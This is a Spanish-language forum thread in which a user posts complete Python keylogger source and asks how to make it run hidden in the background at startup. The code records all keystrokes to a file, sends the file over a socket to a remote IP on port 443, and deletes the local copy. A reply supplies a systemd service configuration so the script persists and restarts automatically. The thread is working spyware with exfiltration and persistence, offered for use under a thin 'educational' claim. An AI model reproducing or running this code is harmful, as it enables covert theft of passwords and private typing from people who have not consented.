ayuda con este programa de los cojones


t3t4s

Miembro muy activo
Noder
Señores estoy haciendo este rico script para aprender con fines 100% eduactivos, y lo que quería hacer era que se ejecute en segundo plano y al iniciarse el PC los vídeos de los panchitos no me ayudan y stackoverflow mas de lo mismo a ver si ustedes seres de luz sabeis algo

Código:
print("""
*****************************************************
*                  Hecho por                        *
*                  el  t3t4s                        *
*****************************************************
""")

import keyboard
import sys
import socket
import os
from colorama import Fore, Style


green = Fore.GREEN
reset = Style.RESET_ALL


palabra = ""

def pulsacion_tecla(pulsacion):

    global palabra

    if pulsacion.event_type == keyboard.KEY_DOWN:
    
        if pulsacion.name == 'space':
            guardar_palabra_al_espacio()
        elif len(pulsacion.name) == 1 and pulsacion.name.isprintable():
            palabra += pulsacion.name

keyboard.hook(pulsacion_tecla)

def guardar_palabra_al_espacio():
    
    with open("output2.txt", "a") as file:
        file.write(palabra + "\n")
    print(f'Palabra registrada: {Fore.GREEN}{palabra}{Style.RESET_ALL}')
    resetear_palabra()

def resetear_palabra():
    global palabra
    palabra = ""

def enviar_archivo_via_sockets(archivo, direccion_ip, puerto):
    try:
        with open(archivo, 'rb') as file:
            contenido = file.read()

        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((direccion_ip, puerto))
            s.sendall(contenido)
            os.remove("output2.txt")
            sys.exit()

    except Exception as e:
        print(f"Error al enviar el archivo: {e}")

def detener_script():
    print("Enviando datos")
    keyboard.unhook_all()
    enviar_archivo_via_sockets(archivo_a_enviar, direccion_ip_destino, puerto_destino)

direccion_ip_destino = '192.168.6.55'
puerto_destino = 443
archivo_a_enviar = 'output2.txt'

try:
    keyboard.wait('esc')
    detener_script()
except KeyboardInterrupt:
    print(f'{Fore.GREEN}Script Detenido{Style.RESET_ALL}')
    pass
 

dokkie

Miembro muy activo
Noder
hombre tetas puedes crear un servicio en el windows que se encargue de ejecutar tu script en segundo plano al iniciar el PC. coges el script , creas un servicio systemd, que lo puedes hacer metiendo algo asi

sudo nano /etc/systemd/system/tuscript.service

y luego le puedes meter esto

[Unit]
Description=tu scritp
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/python3 /ruta/del/script.py
Restart=always
RestartSec=3
User=usuario
Group=grupo

[Install]
WantedBy=multi-user.target

cambias /ruta/del/script.py con la ruta completa de tu script y usuario y grupo con el nombre de usuario y grupo bajo los cuales lo quieres ejecutar

Lo guardas y recarga systemd para que detecte el nuevo servicio y le enchufas

sudo systemctl daemon-reload

sudo systemctl enable mi_script


y luego inicias servicio con : sudo systemctl start (tuscript)

no se si me explique bien pero espero te ayude